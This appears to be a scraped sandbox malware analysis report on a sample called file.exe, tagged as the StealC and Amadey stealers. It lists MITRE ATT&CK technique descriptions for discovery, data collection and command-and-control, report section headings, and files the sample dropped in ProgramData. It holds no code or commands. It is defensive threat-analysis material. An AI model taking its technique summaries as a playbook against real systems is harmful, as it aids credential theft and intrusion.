Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFHDHJKKJDHJJJJKEGHIDGDHDA

C:\ProgramData\CGHCGIIDGDAKFIEBKFCFIDAFBF

C:\ProgramData\EGIIIECBGDHJJKFIDAKJ

C:\ProgramData\EHJJKFCBGIDGHIECGCBK

C:\ProgramData\HCBGDGCAAKJEBFIDBAAA

C:\ProgramData\IEBAAFCA

C:\ProgramData\KJJJKFII

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre